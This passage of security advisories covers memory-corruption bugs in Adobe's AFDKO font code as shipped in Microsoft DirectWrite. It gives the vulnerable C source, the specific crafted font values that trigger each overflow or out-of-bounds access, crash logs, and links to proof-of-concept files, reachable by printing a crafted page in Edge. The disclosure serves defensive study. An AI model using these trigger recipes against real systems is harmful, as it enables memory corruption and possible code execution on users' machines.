i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readStrings() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read the font name string and the string INDEX strings from the input font. The relevant part of the function is shown below: --- cut --- 1727 /* Get FontName data and compute its size */ 1728 INDEXGet(h, &h->index.name, 0, &FontName); 1729 lenFontName = FontName.end - FontName.begin; 1730 1731 /* Compute string data size */ 1732 lenStrings = (h->index.string.count == 0) ? 0 : (h->region.StringINDEX.end - h->index.string.data + 1 + /* String data bytes */ 1733 h->index.string.count); /* Null termination */ 1734 1735 /* Allocate buffers */ 1736 dnaSET_CNT(h->string.offsets, h->index.string.count + 1); 1737 dnaSET_CNT(h->string.ptrs, h->index.string.count); 1738 dnaSET_CNT(h->string.buf, lenFontName + 1 + lenStrings); 1739 1740 p = h->string.buf.array; 1741 *p = '\0'; 1742 if (h->header.major == 1) { 1743 /* Copy FontName into buffer */ 1744 srcSeek(h, FontName.begin); 1745 srcRead(h, lenFontName, p); 1746 p += lenFontName; 1747 *p++ = '\0'; 1748 } --- cut --- The key line is 1738, where an integer overflow may occur. The "lenFontName" variable stores the length of the font name, which can be no greater than 65535. The "lenStrings" variable is initialized in lines 1732/1733 based on the length of the strings INDEX; primarily h->region.StringINDEX.end. The overall h->region.StringINDEX structure is filled out by the generic readINDEX() function, as called by cfrBegFont(): --- cut --- 2712 if (h->header.major == 1) { 2713 h->region.StringINDEX.begin = h->region.TopDICTINDEX.end; 2714 if (h->region.StringINDEX.begin > 0) { 2715 readINDEX(h, &h->region.StringINDEX, &h->index.string); 2716 /* Read strings */ 2717 readStrings(h); 2718 } --- cut --- More specifically, h->region.StringINDEX.end is written to in the last line of readINDEX(): --- cut --- 1582 /* Read and validate offset size */ 1583 index->offSize = read1(h); 1584 if (index->offSize < 1 || index->offSize > 4) 1585 fatal(h, cfrErrINDEXHeader); 1586 1587 index->offset = region->begin + cntSize + 1; /* Get offset array base */ 1588 1589 /* Read and validate first offset */ 1590 if (readN(h, index->offSize) != 1) 1591 fatal(h, cfrErrINDEXOffset); 1592 1593 /* Set data reference */ 1594 index->data = index->offset + (index->count + 1) * index->offSize - 1; 1595 1596 /* Read last offset and compute INDEX length */ 1597 srcSeek(h, index->offset + index->count * index->offSize); 1598 region->end = index->data + readN(h, index->offSize); 1599 } --- cut --- On platforms where "long" is a 32-bit type (Windows x86/x64 and Linux x86), this gives us complete control over the aforementioned field, including setting it to a negative value. This enables us to set the "lenStrings" variable to an arbitrary number, and thus makes it possible to choose it such that the result of the "lenFontName + 1 + lenStrings" expression is smaller than the sum of the font name's length and the length of all other strings. As a result, the heap-based h->string.buf.array object may be overflown, corrupting adjacent allocations in the following lines: --- cut --- 1740 p = h->string.buf.array; 1741 *p = '\0'; 1742 if (h->header.major == 1) { 1743 /* Copy FontName into buffer */ 1744 srcSeek(h, FontName.begin); 1745 srcRead(h, lenFontName, p); 1746 p += lenFontName; 1747 *p++ = '\0'; 1748 } 1749 [...] 1767 1768 /* Read string data */ 1769 for (i = 0; i < (unsigned long)h->string.ptrs.cnt; i++) { 1770 long length = 1771 h->string.offsets.array[i + 1] - h->string.offsets.array[i]; 1772 srcRead(h, length, p); 1773 h->string.ptrs.array[i] = p; 1774 p += length; 1775 *p++ = '\0'; 1776 } --- cut --- Part of the problem contributing to the vulnerability is the unsafe addition in cffread.c:1738, but part of it is also the fact that h->region.StringINDEX.end may be fully controlled through readINDEX() and the function doesn't perform any sanity checking to make sure that the offset is within bounds of the CFF stream. We would therefore recommend adding more checks to readINDEX(), e.g. to also verify that all offsets specified in the INDEX are declared in ascending order and are also within bounds. The same checks should also be added to the analogous readSubrINDEX() function, which is even more permissive, as it allows an arbitrary value of offSize (instead of being limited to the 1-4 range). While we are at it, we also believe that the readN() routine should not ignore the N argument outside of <1 .. 4>, and instead throw a fatal error or at least attempt to read the specified N bytes from the input stream. Its current declaration is shown below: --- cut --- 505 /* Read 1-, 2-, 3-, or 4-byte number. */ 506 static uint32_t readN(cfrCtx h, int N) { 507 uint32_t value = 0; 508 switch (N) { 509 case 4: 510 value = read1(h); 511 case 3: 512 value = value << 8 | read1(h); 513 case 2: 514 value = value << 8 | read1(h); 515 case 1: 516 value = value << 8 | read1(h); 517 } 518 return value; 519 } --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file contains a specially crafted String INDEX with the last offset set to -16397 (0xffffbff3) and the font name set to a "AAAA...AAAA" string consisting of 16384 bytes. This causes lenFontName to be equal to 16384 and lenStrings to be equal to -16384, so the whole "lenFontName + 1 + lenStrings" expression evaluates to 1. Despite this, because of the configuration of the h->string.buf dynamic array, the minimum allocation size is in fact 200. Then, a buffer overflow occurs while trying to load the 16384-byte string to the 200-byte allocation in the following line: --- cut --- 1745 srcRead(h, lenFontName, p); --- cut --- The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and an extra CFF table from another font was added to the file and corrupted in the way described above. This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c. -----=====[ Crash logs ]=====----- A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report: --- cut --- ================================================================= ==116914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3603f88 at pc 0x0810d007 bp 0xffc4bba8 sp 0xffc4b780 WRITE of size 8184 at 0xf3603f88 thread T0 #0 0x810d006 in __asan_memcpy (tx+0x810d006) #1 0x819b191 in srcRead afdko/c/public/lib/source/cffread/cffread.c:481:9 #2 0x817df46 in readStrings afdko/c/public/lib/source/cffread/cffread.c:1745:9 #3 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13 #4 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9 #5 0x81556df in doFile afdko/c/tx/source/tx.c:429:17 #6 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #7 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #9 0xf7b41275 in __libc_start_main #10 0x806a590 in _start 0xf3603f88 is located 0 bytes to the right of 200-byte region [0xf3603ec0,0xf3603f88) allocated by thread T0 here: #0 0x810ddc5 in __interceptor_malloc (tx+0x810ddc5) #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x8199bfa in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x84689ec in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x846919d in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x817dd0d in readStrings afdko/c/public/lib/source/cffread/cffread.c:1738:5 #6 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13 #7 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9 #8 0x81556df in doFile afdko/c/tx/source/tx.c:429:17 #9 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #10 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #11 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #12 0xf7b41275 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow (tx+0x810d006) in __asan_memcpy Shadow bytes around the buggy address: 0x3e6c07a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c07b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c07c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c07d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x3e6c07e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x3e6c07f0: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c0800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c0810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c0820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c0830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e6c0840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==116914==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV while trying to copy the font name into invalid memory: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6 (gdb) x/10i $eip => 0xf7eb50c0: movdqu %xmm1,-0x10(%edx,%ecx,1) 0xf7eb50c6: jbe 0xf7eb537e 0xf7eb50cc: movdqu 0x10(%eax),%xmm0 0xf7eb50d1: movdqu -0x20(%eax,%ecx,1),%xmm1 0xf7eb50d7: cmp $0x40,%ecx 0xf7eb50da: movdqu %xmm0,0x10(%edx) 0xf7eb50df: movdqu %xmm1,-0x20(%edx,%ecx,1) 0xf7eb50e5: jbe 0xf7eb537e 0xf7eb50eb: movdqu 0x20(%eax),%xmm0 0xf7eb50f0: movdqu 0x30(%eax),%xmm1 (gdb) p/x $xmm1 $1 = {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} (gdb) info reg $edx edx 0x813ea78 135522936 (gdb) info reg $ecx ecx 0x1ff8 8184 (gdb) x/10gx $edx+$ecx 0x8140a70: Cannot access memory at address 0x8140a70 (gdb) bt #0 0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6 #1 0x0805bb9c in srcRead (h=0x8131200, count=16384, ptr=0x813ea78 'A' <repeats 16 times>) at ../../../../../source/cffread/cffread.c:481 #2 0x080557e3 in readStrings (h=0x8131200) at ../../../../../source/cffread/cffread.c:1745 #3 0x080548ae in cfrBegFont (h=0x8131200, flags=4, origin=0, ttcIndex=0, top=0x8118024, UDV=0x0) at ../../../../../source/cffread/cffread.c:2717 #4 0x0804d491 in cfrReadFont (h=0x8118008, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #5 0x0804d309 in doFile (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:429 #6 0x0804c9b6 in doSingleFileSet (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:488 #7 0x0804a82a in parseArgs (h=0x8118008, argc=3, argv=0xffffcd58) at ../../../../source/tx.c:558 #8 0x08049665 in main (argc=3, argv=0xffffcd58) at ../../../../source/tx.c:1631 --- cut --- In case of the Microsoft Edge renderer, it doesn't immediately crash during the buffer overflow, because there is enough mapped heap memory after the overflow allocation to consume the 16kB string. As a result of the memory corruption, however, an exception is generated a little later in the code while trying to access an invalid pointer overwritten with 0x4141...41: --- cut --- First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!fillSet+0x37: 00007ffb`29e701a3 39bc2e58020000 cmp dword ptr [rsi+rbp+258h],edi ds:41414141`41414399=???????? 0:038> u @$scopeip-4 DWrite!fillSet+0x33: 00007ffb`29e7019f 488b6b10 mov rbp,qword ptr [rbx+10h] 00007ffb`29e701a3 39bc2e58020000 cmp dword ptr [rsi+rbp+258h],edi 00007ffb`29e701aa 7e21 jle DWrite!fillSet+0x61 (00007ffb`29e701cd) 00007ffb`29e701ac 4c8b8c2e50020000 mov r9,qword ptr [rsi+rbp+250h] 00007ffb`29e701b4 4c8d4508 lea r8,[rbp+8] 00007ffb`29e701b8 488d95f8010000 lea rdx,[rbp+1F8h] 00007ffb`29e701bf 4c03c6 add r8,rsi 00007ffb`29e701c2 4803d6 add rdx,rsi 0:038> db rbx 00000131`256e9ca0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9cb0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9cc0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9cd0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9ce0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9cf0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9d00 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000131`256e9d10 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:038> k # Child-SP RetAddr Call Site 00 00000008`c4d5b550 00007ffb`29e7219d DWrite!fillSet+0x37 01 00000008`c4d5b5c0 00007ffb`29e62314 DWrite!cfwEndSet+0x51 02 00000008`c4d5b600 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c 03 00000008`c4d5bb00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 04 00000008`c4d5bce0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 05 00000008`c4d5bf00 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 06 00000008`c4d5c260 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 07 00000008`c4d5c2f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 08 00000008`c4d5c410 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 09 00000008`c4d5c460 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44 0a 00000008`c4d5c4b0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0b 00000008`c4d5c4e0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0c 00000008`c4d5c510 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0d 00000008`c4d5c550 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47098.zip
-
Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The handleBlend() function in afdko/c/public/lib/source/cffread/cffread.c is called when a cff_blend operator is encountered while parsing a CFF DICT object in readDICT(): --- cut --- 1466 case cff_blend: 1467 if (h->stack.numRegions == 0) { 1468 /* priv->vsindex is set to 0 by default; it is otherwise only if the vsindex operator is used */ 1469 setNumMasters(h, priv->vsindex); 1470 } 1471 handleBlend(h); 1472 continue; --- cut --- The prologue of handleBlend() is as follows: --- cut --- 757 static void handleBlend(cfrCtx h) { [...] 776 777 int numBlends = INDEX_INT(h->stack.cnt - 1); 778 stack_elem *firstItem; 779 int i = 0; 780 int numDeltaBlends = numBlends * h->stack.numRegions; 781 int firstItemIndex; 782 h->flags |= CFR_SEEN_BLEND; 783 784 h->stack.cnt--; 785 786 if (numBlends < 0 || numDeltaBlends < 0) 787 fatal(h, cfrErrStackUnderflow); 788 CHKUFLOW(numBlends + numDeltaBlends); 789 firstItemIndex = (h->stack.cnt - (numBlends + numDeltaBlends)); 790 firstItem = &(h->stack.array[firstItemIndex]); 791 --- cut --- Here is what happens in the code: the 32-bit numBlends variable is initialized with a fully controlled value from the top of the interpreter stack. The numDeltaBlends variable is calculated using numBlends and h->stack.numRegions, which is a typically small (theoretically up to 65535) but also controlled value. The code then makes sure that neither numBlends or numDeltaBlends are negative (line 786), and that there are at least numBlends+numDeltaBlends values on the stack (line 788). If these conditions are met, the function proceeds to writing to h->stack.array[h->stack.cnt - (numBlends + numDeltaBlends)] and further elements assuming the access is safe. However, the sanity checks in lines 786-788 are not sufficient, as they miss one corner case - when both numBlends and numDeltaBlends are positive, but the numBlends + numDeltaBlends sum is negative due to signed 32-bit integer arithmetic. For example, if: - numBlends is 0x31313131 - h->stack.numRegions is 2 then: - numDeltaBlends is 0x62626262 - numBlends + numDeltaBlends is 0x93939393 The above values can be set by a specially crafted font and they meet the conditions verified by handleBlend(), yet the index of -0x93939393 (which translates to 1819044973) is largely out of bounds. This may be used to overwrite memory both inside of the stack-based cfrCtx object, and outside of it. -----=====[ Proof of Concept ]=====----- The proof of concept file contains a Private DICT beginning with the following two operators: 1. cff_longint(0x31313131) 2. cff_blend This causes the above signedness issue to occur, leading to an attempt to write to a stack element at h->stack.array[1819044973]. The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" started with ./tx -cff poc.otf crashes with a SIGSEGV while trying to write to an unmapped memory address: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811 811 firstItem->numBlends = (unsigned short)numBlends; (gdb) print numBlends $1 = 825307441 (gdb) print numDeltaBlends $2 = 1650614882 (gdb) print numBlends+numDeltaBlends $3 = -1819044973 (gdb) print firstItemIndex $5 = 1819044973 (gdb) x/10i $rip => 0x41670e <handleBlend+878>: mov %cx,0x8(%rdx) 0x416712 <handleBlend+882>: mov -0x8(%rbp),%rdi 0x416716 <handleBlend+886>: movslq -0x20(%rbp),%rdx 0x41671a <handleBlend+890>: shl $0x2,%rdx 0x41671e <handleBlend+894>: mov %rdx,%rsi 0x416721 <handleBlend+897>: callq 0x416880 <memNew> 0x416726 <handleBlend+902>: mov -0x18(%rbp),%rdx 0x41672a <handleBlend+906>: mov %rax,0x10(%rdx) 0x41672e <handleBlend+910>: mov -0x1c(%rbp),%eax 0x416731 <handleBlend+913>: cmp -0x20(%rbp),%eax (gdb) info reg $rdx rdx 0xa2a9b3280 43664487040 (gdb) x/10gx $rdx 0xa2a9b3280: Cannot access memory at address 0xa2a9b3280 (gdb) bt #0 0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811 #1 0x0000000000411318 in readDICT (h=0x7103a0, region=0x7156d8, topdict=0) at ../../../../../source/cffread/cffread.c:1471 #2 0x000000000041241f in readPrivate (h=0x7103a0, iFD=0) at ../../../../../source/cffread/cffread.c:1637 #3 0x0000000000411a17 in readFDArray (h=0x7103a0) at ../../../../../source/cffread/cffread.c:1711 #4 0x000000000040dc5c in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2761 #5 0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429 #7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:488 #8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 (gdb) --- cut --- A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below: --- cut --- (50d4.f24): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!handleBlend+0xc1: 00007ffb`29e68f5d 4439a4cb28030000 cmp dword ptr [rbx+rcx*8+328h],r12d ds:0000016e`de978c30=???????? 0:039> ? rbx Evaluate expression: 1532035423952 = 00000164`b46d5ed0 0:039> ? rcx Evaluate expression: 5457134919 = 00000001`45454547 0:039> k # Child-SP RetAddr Call Site 00 00000021`5eeea990 00007ffb`29e6b2e3 DWrite!handleBlend+0xc1 01 00000021`5eeea9d0 00007ffb`29e6c41e DWrite!readDICT+0xf67 02 00000021`5eeeaa30 00007ffb`29e6bc33 DWrite!readPrivate+0x3a 03 00000021`5eeeaa60 00007ffb`29e6ddf4 DWrite!readFDArray+0xcb 04 00000021`5eeeaa90 00007ffb`29e621e7 DWrite!cfrBegFont+0x548 05 00000021`5eeeb320 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f 06 00000021`5eeeb820 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 07 00000021`5eeeba00 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 08 00000021`5eeebc20 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 09 00000021`5eeebf80 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 0a 00000021`5eeec010 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0b 00000021`5eeec130 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0c 00000021`5eeec180 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44 0d 00000021`5eeec1d0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0e 00000021`5eeec200 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0f 00000021`5eeec230 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 10 00000021`5eeec270 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47099.zip
-
Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexGetString() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file: --- cut --- 148 /* Get string from SRI. */ 149 char *cfwSindexGetString(cfwCtx g, SRI index) { 150 sindexCtx h = g->ctx.sindex; 151 if (index < STD_STR_CNT) { 152 return sid2std[index]; 153 } else { 154 return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString]; 155 } 156 } --- cut --- In all cases, the exception is thrown in line 154, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). For some reproducers, the h->custom dynamic array is correctly initialized and h->custom.array points into a heap allocation; in other cases h->custom is an empty array and h->custom.array has a near-NULL value. Even in the latter case, accessing h->custom.array[65144] translates to an address around 0x7f4c4 (on x86) or 0xfe884 (on x64), both of which can be mapped on many operating systems. The cfwSindexGetString() function is called from fillNameINDEX() in cffwrite/cffwrite.c: --- cut --- 845 for (i = 0; i < h->FontSet.cnt; i++) { 846 cff_Font *font = &h->FontSet.array[i]; 847 if (font->FDArray.cnt > 0) { 848 char *name = 849 cfwSindexGetString(h->g, (SRI)((font->flags & FONT_CID) ? font->top.cid.CIDFontName.impl : font->FDArray.array[0].dict.FontName.impl)); 850 /* 64-bit warning fixed by cast here */ 851 h->name.datasize += (long)strlen(name); 852 } 853 } --- cut --- We can see that the "index" argument is passed from font->top.cid.CIDFontName.impl or font->FDArray.array[0].dict.FontName.impl. Both CIDFontName and FontName objects are abfString structures, defined in afdko/c/public/lib/api/absfont.h: --- cut --- 44 typedef struct /* String */ 45 { 46 char *ptr; /* ABF_UNSET_PTR */ 47 long impl; /* ABF_UNSET_INT */ 48 } abfString; --- cut --- The "impl" field is used to store a SRI-typed value, which takes the default value of SRI_UNDEF if it is uninitialized or invalid: --- cut --- 22 #define SRI_UNDEF 0xffff /* SRI of undefined string */ --- cut --- This indicates that the font name-related structures are not properly initialized before being used to generate the output CFF font. As the string returned by cfwSindexGetString() is later saved to the output file, this out-of-bounds read could lead to the disclosure of the AFDKO client process memory. -----=====[ Proof of Concept ]=====----- There are two proof of concept files, poc1.otf and poc2.otf. The first one triggers an access to h->custom.array[65144] for an empty h->custom array, while the second one results in a similar OOB read but with a non-empty h->custom object. The fonts are specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the fonts with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over 